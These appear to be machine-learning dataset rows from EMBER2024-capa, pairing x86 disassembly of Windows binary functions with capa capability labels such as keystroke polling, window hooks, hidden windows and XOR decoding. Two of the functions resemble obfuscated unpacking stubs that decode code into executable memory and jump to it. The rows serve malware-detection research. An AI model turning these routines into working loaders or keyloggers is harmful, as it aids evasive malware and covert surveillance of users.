joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4386e8
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x4386fa
add esp, 0xfffffff0
call fcn.00403f18
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a894
mov eax, dword [0x45f838]
mov dword [eax + 4], ebx
mov dword [eax], 0x438a8c
mov eax, dword [0x45f844]
mov dword [eax + 4], ebx
mov dword [eax], 0x438a98
mov eax, ebx
call fcn.00438aa4
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x412644]
call fcn.00403bc4
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x412644]
call fcn.00403bc4
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x412644]
call fcn.00403bc4
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x412644]
call fcn.00403bc4
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x412644]
call fcn.00403bc4
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x433f4c
push eax
push 0
push 0
mov eax, dword [0x45f994]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41db30]
call fcn.0041f384
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41db30]
call fcn.0041f384
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41db30]
call fcn.0041f384
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00438f1c
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x438dec
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x438dec
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x438dec
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x438837
call fcn.00403f70
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x438bd0
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x438d7b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x438d5c
mov dl, 1
mov eax, dword [0x412a68]
call fcn.00403bc4
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404a20
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x438d4b
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0045b55c
test al, al
je 0x438d3e
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x438d8c
lea eax, [ebp - 0x254]
call fcn.00409718
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x438d3e
xor eax, eax
push ebp
push 0x438d37
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x438dc4
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x438d20
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404c90
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x438d20
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404c90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x438d3e
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x438c41
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x25], 0
mov dl, 1
call fcn.00416740
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x438d82
lea eax, [ebp - 0x260]
call fcn.00404a20
ret

Function at 0x4396f4
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x464be4]
cmp byte [eax + 0xad], 0
jne 0x439765
cmp dword [0x464c00], 0
jne 0x439726
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4396b0
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x464c00], eax
cmp dword [0x464bfc], 0
jne 0x439741
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x464bfc], eax
cmp dword [0x464c04], 0
jne 0x439765
push esp
push 0
push 0
push 0x439654
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x464c04], eax
pop edx
ret
Function at 0x439968
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x43997f
add esp, 0xfffffff0
call fcn.00403f18
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a894
mov eax, dword [0x45f980]
cmp word [eax + 2], 0
jne 0x4399a7
mov eax, dword [0x45f980]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0043b400
mov eax, dword [0x45fa28]
cmp word [eax + 2], 0
jne 0x4399c1
mov eax, dword [0x45fa28]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0043b60c
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x412644]
call fcn.00403bc4
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x412644]
call fcn.00403bc4
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x412644]
call fcn.00403bc4
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x41e640]
call fcn.00425cd0
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x439b78
mov eax, dword [0x45f8a0]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.004260a4
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x43bcd0
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x45f8a0]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040cee8
test eax, eax
je 0x439ac8
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004090bc
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040cf1c
test eax, eax
je 0x439adc
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA_1
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404c90
mov byte [ebx + 0xd4], 0
push ebx
push 0x43b0e4
call fcn.0041ba10
mov dword [ebx + 0xc8], eax
mov eax, dword [0x45f794]
cmp byte [eax], 0
jne 0x439b2d
mov eax, ebx
call fcn.00439cbc
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.0043bee4
mov eax, ebx
call fcn.0043ca48
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x439b6d
call fcn.00403f70
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x439f3c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x30]
test eax, eax
je 0x439fdb
cmp dword [ebx + 0x94], 0
jne 0x439fd5
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x439ec4
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x439fd5
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x439f9b
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x439fd5
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004149e8
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x439faa
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x43a1f4
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x464be4]
cmp dword [eax + 0x30], 0
je 0x43a351
test bl, bl
jne 0x43a2a2
cmp dword [esi + 0x9c], 0
jne 0x43a297
mov eax, esi
call fcn.0043c8c4
push eax
push 0x43a120
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x44], 0
je 0x43a268
mov eax, dword [0x464be4]
call fcn.0043cfa4
test al, al
je 0x43a268
mov eax, dword [0x464c08]
call fcn.004058fc
mov edi, eax
cmp edi, 0
jl 0x43a268
push 0
mov eax, dword [0x464c08]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x43a252
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x43a297
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.004149e8
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x43a277
inc dword [esi + 0x9c]
jmp 0x43a351
cmp dword [esi + 0x9c], 0
jle 0x43a351
dec dword [esi + 0x9c]
cmp dword [esi + 0x9c], 0
jne 0x43a351
cmp dword [esi + 0x44], 0
je 0x43a2fd
mov eax, dword [0x464be4]
call fcn.0043cfa4
test al, al
je 0x43a2fd
mov eax, dword [0x464c08]
call fcn.004058fc
mov edi, eax
cmp edi, 0
jl 0x43a2fd
push 5
mov eax, dword [0x464c08]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x43a2e7
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x43a32c
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.004149e8
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x43a30c
mov eax, dword [esi + 0x98]
mov edx, dword [eax]
call dword [edx + 8]
push 0
mov eax, 0x464c08
mov ecx, 1
mov edx, dword [0x43a100]
call fcn.00405ab0
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x43ae38
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffefc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x43aea2
mov eax, ebx
call fcn.0043cfa4
test al, al
jne 0x43aea2
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404b10
mov eax, dword [esi]
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x100]
test eax, eax
je 0x43ae8f
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x43aeaf
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404a74
jmp 0x43aeaf
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404a74
add esp, 0x104
pop esi
pop ebx
ret

Function at 0x43c0c8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x43c136
mov eax, esi
call fcn.00456240
test al, al
je 0x43c136
mov eax, dword [ebx + 0x84]
call fcn.00455ecc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x43c136
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x43c12a
push 0
mov eax, dword [ebx + 0x84]
call fcn.00455ecc
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.0044dd48
jmp 0x43c136
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.0043bf04
pop esi
pop ebx
ret

Function at 0x43e060
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00404a20
push 0
movzx eax, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x43e0ae
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404c90
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x443190
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4432c3
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x16], 0
lea eax, [ebp - 0x16]
push eax
call sub.user32.dll_GetKeyboardLayoutNameA
mov dl, 1
mov eax, dword [0x41bc5c]
call fcn.0041bd2c
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x443299
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, 0x80000002
mov eax, dword [ebp - 0xc]
call fcn.0041bdcc
lea eax, [ebp - 0x20]
lea edx, [ebp - 0x16]
mov ecx, 0xa
call fcn.00404c90
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
mov edx, 0x4432d8
call fcn.00404d38
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
call fcn.0041bf54
lea ecx, [ebp - 4]
mov edx, 0x443314
mov eax, dword [ebp - 0xc]
call fcn.0041c19c
mov edx, 0x8000
mov eax, dword [ebp - 4]
call fcn.0040df18
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x44327c
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x443320
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov ebx, eax
call ebx
movzx eax, word [eax + 0x28]
and ax, 1
cmp ax, 1
sete byte [0x45f564]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x443283
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FreeLibrary_1
ret

Function at 0x443370
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov esi, eax
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movzx ebx, byte [esp + 4]
test bx, bx
je 0x4433b7
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44339a
add bx, 0x2000
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4433ab
add bx, 0x4000
test byte [esp + 0xb], 0x20
je 0x4433b7
add bx, 0x8000
mov eax, ebx
add esp, 0x10
pop edi
pop esi
pop ebx
ret
Function at 0x44b5e8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x464c8c], 0
je 0x44b731
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x45fa0c]
mov edx, dword [edx]
xor al, byte [edx + 0xbc]
je 0x44b731
mov eax, dword [0x464c90]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x464c8c]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x44b700
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x464c8c]
call fcn.004149e8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x44b6f8
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1da], 0
je 0x44b6f8
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x44b6f8
mov eax, dword [ebp - 0x14]
call fcn.00455ecc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44b6f8
push ebp
call fcn.0044b5a4
pop ecx
test al, al
jne 0x44b6f8
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbb
call fcn.00403df0
test al, al
je 0x44b6f8
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbc
call fcn.00403df0
cmp byte [ebp - 1], 0
je 0x44b6f8
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x44b6f8
mov edx, dword [ebp - 0x14]
mov eax, dword [0x464c90]
call fcn.0044ad14
inc edi
dec ebx
jne 0x44b64d
mov eax, dword [0x464c90]
cmp dword [eax + 8], 0
jle 0x44b718
mov eax, dword [0x464c90]
call fcn.0044adcc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x44b731
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0044b408
pop ecx
test al, al
jne 0x44b731
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x452da0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffed8
mov ebx, ecx
mov edi, edx
mov esi, eax
call sub.user32.dll_GetMessagePos
call fcn.00406b38
mov dword [esp + 8], eax
movsx eax, word [esp + 8]
mov dword [esp + 0xc], eax
movsx eax, word [esp + 0xa]
mov dword [esp + 0x10], eax
mov ecx, esp
lea edx, [esp + 0xc]
mov eax, esi
call fcn.0044d970
test ebx, ebx
jne 0x452df3
push 0
push 0
lea edx, [esp + 8]
xor ecx, ecx
mov eax, esi
call fcn.00452cdc
mov ebx, eax
test ebx, ebx
je 0x452ede
cmp esi, ebx
je 0x452e1c
mov eax, dword [esp]
sub eax, dword [ebx + 0x40]
mov dword [esp + 0x114], eax
mov eax, dword [esp + 4]
sub eax, dword [ebx + 0x44]
mov dword [esp + 0x118], eax
jmp 0x452e31
mov eax, dword [esp]
mov dword [esp + 0x114], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x118], eax
movzx eax, word [edi + 8]
mov dword [esp + 0x11c], eax
mov eax, dword [edi + 4]
mov dword [esp + 0x124], eax
movzx eax, word [edi + 0xa]
cmp eax, 0x201
jge 0x452e69
add eax, 0xffffff5f
sub eax, 2
jb 0x452e81
dec eax
sub eax, 2
jb 0x452e95
dec eax
sub eax, 2
jb 0x452e8b
jmp 0x452e9f
add eax, 0xfffffdff
sub eax, 2
jb 0x452e81
dec eax
sub eax, 2
jb 0x452e95
dec eax
sub eax, 2
jb 0x452e8b
jmp 0x452e9f
mov byte [esp + 0x120], 0
jmp 0x452ea7
mov byte [esp + 0x120], 2
jmp 0x452ea7
mov byte [esp + 0x120], 1
jmp 0x452ea7
mov byte [esp + 0x120], 0
lea eax, [esp + 0x14]
push eax
call sub.user32.dll_GetKeyboardState
lea eax, [esp + 0x14]
call fcn.00430680
mov byte [esp + 0x121], al
lea eax, [esp + 0x114]
push eax
xor ecx, ecx
mov edx, 0xb04b
mov eax, ebx
call fcn.0044f10c
mov dword [edi + 0xc], eax
mov al, 1
jmp 0x452ee0
xor eax, eax
add esp, 0x128
pop edi
pop esi
pop ebx
ret
Function at 0x45b200
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x45fb80]
cmp byte [eax + 0xc], 0
je 0x45b36d
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45b366
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x464c9c], 0
jne 0x45b254
push 0x45b374
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x45b37c
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x464c9c], eax
cmp dword [0x45f734], 0
jne 0x45b34f
push 0x45b38c
call sub.kernel32.dll_LoadLibraryA
mov dword [0x45f734], eax
cmp dword [0x45f734], 0
je 0x45b34f
push 0x45b398
mov eax, dword [0x45f734]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x464ca0], eax
push 0x45b3a8
mov eax, dword [0x45f734]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x464ca4], eax
push 0x45b3bc
mov eax, dword [0x45f734]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x464ca8], eax
push 0x45b3d4
mov eax, dword [0x45f734]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x464cac], eax
push 0x45b3ec
mov eax, dword [0x45f734]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x464cb0], eax
push 0x45b400
mov eax, dword [0x45f734]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x464cb4], eax
push 0x45b418
mov eax, dword [0x45f734]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x464cb8], eax
push 0x45b430
mov eax, dword [0x45f734]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x464cbc], eax
push 0x45b44c
mov eax, dword [0x45f734]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x464cc0], eax
push 0x45b458
mov eax, dword [0x45f734]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x464cc4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45b36d
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret
Function at 0x417f2e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x417f3d
pop dword [ebp - 0x44]
mov eax, 0x7d07a22c
add eax, 0x8339dd11
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x3ca3c
push 0
mov eax, 0xc02d0a50
sub eax, 0xbfea7a24
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0xccdec972
add ecx, 0x33218ceb
xor esi, esi
add esi, eax
mov edx, 0xde454680
sub edx, 0xde01d880
add edx, dword [ebp - 0x44]
mov edi, 0xd0af9756
sub edi, 0x49d9d4cb
add dword [ebp - 0x14], esi
mov ebx, dword [edx]
xor dword [ebp - 0x18], 0x6dd3cb55
add ebx, edi
add dword [ebp - 0x24], ebx
mov dword [esi], ebx
xor dword [ebp - 0x2c], eax
add esi, 0xda4d2857
add esi, 0x25b2d7ad
add edx, 0x47ab7f81
sub edx, 0x47ab7f7d
loop 0x417f9e
add eax, 0xe1f9b0a4
sub eax, 0xe1f8645d
xor ebx, ebx
add ebx, eax
add eax, 0xb0e66cec
add eax, 0x4f199319
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x41e7e0
Capabilities:
Check os version
Get common file path

Disassembly:
sub esp, 0x2d4
push esi
call dword [sym.imp.kernel32.dll_GetVersion]
cmp ax, 6
je 0x41e81d
push str.SetDefaultDllDirectories
push 0x429a14
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x41e81d
push 0xc00
call eax
test eax, eax
jne 0x41e8b6
lea eax, [esp + 8]
push 0x106
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
test eax, eax
je 0x41e8b6
cmp eax, 0x104
ja 0x41e8b6
cmp word [esp + eax*2 + 6], 0x5c
je 0x41e84c
mov word [esp + eax*2 + 8], 0x5c
inc eax
mov esi, dword [str.userenv]
cmp byte [esi], 0
je 0x41e8b6
push ebp
lea ecx, [esp + eax*2 + 0xc]
push edi
mov edi, dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov dword [esp + 0xc], ecx
mov ebp, 0x6c
mov cl, byte [esi]
mov eax, dword [esp + 0xc]
inc esi
test cl, cl
je 0x41e88b
xor dx, dx
add eax, 2
mov dl, cl
inc esi
mov word [eax - 2], dx
mov cl, byte [esi - 1]
test cl, cl
jne 0x41e877
mov word [eax], 0x2e
mov word [eax + 2], 0x64
mov word [eax + 4], bp
mov word [eax + 6], bp
mov word [eax + 8], 0
push 8
lea eax, [esp + 0x14]
push 0
push eax
call edi
cmp byte [esi], 0
jne 0x41e86c
pop edi
pop ebp
pop esi
add esp, 0x2d4
ret
Function at 0x10029a64
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10029a73
pop dword [ebp - 0x38]
mov eax, 0x10029a73
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xc17d3942
sub dword [ebp - 0x48], 0x732af3f7
mov dword [ebp - 0x44], 0xabbb7c1a
sub dword [ebp - 0x44], 0x79882fd5
mov dword [ebp - 0x40], 0x3833354f
add dword [ebp - 0x40], 0x14190edf
mov dword [ebp - 0x3c], 0x82d5c0d8
add dword [ebp - 0x3c], 0x7d2a3f28
lea eax, [ebp - 0x48]
push eax
mov eax, 0x547d4c78
sub eax, 0x4479bb10
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xe39c758d
add dword [ebp - 0x48], 0x90d5f3c9
mov dword [ebp - 0x44], 0x82ec1437
sub dword [ebp - 0x44], 0x417fb2c2
mov dword [ebp - 0x40], 0x3958d02b
add dword [ebp - 0x40], 0x2a169c41
mov dword [ebp - 0x3c], 0x4a97be9
sub dword [ebp - 0x3c], 0x4a97be9
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x1604309d
sub eax, 0x600a03d
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x34a77
push 0
call eax
mov ecx, 0x15d310fb
sub ecx, 0x15d2dbb5
mov esi, eax
mov edi, 0x10053800
add edi, dword [ebp - 0x38]
mov edx, 0x2218e65b
add edx, 0xd951bfc8
add dword [ebp - 0x14], ebx
mov ebx, dword [edi]
sub dword [ebp - 0x20], ecx
sub ebx, edx
add dword [ebp - 0x24], ecx
mov dword [esi], ebx
xor dword [ebp - 8], edi
add esi, 4
add edi, 0xc9b3e49
sub edi, 0xc9b3e45
loop 0x10029b8a
add eax, 0x2c24b846
add eax, 0xd3dc0fa5
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xf925b61f
add ecx, 0x16da49e1
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x10029dae
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100436e0]
jne 0x10029db8
repz ret
jmp fcn.1002a2cf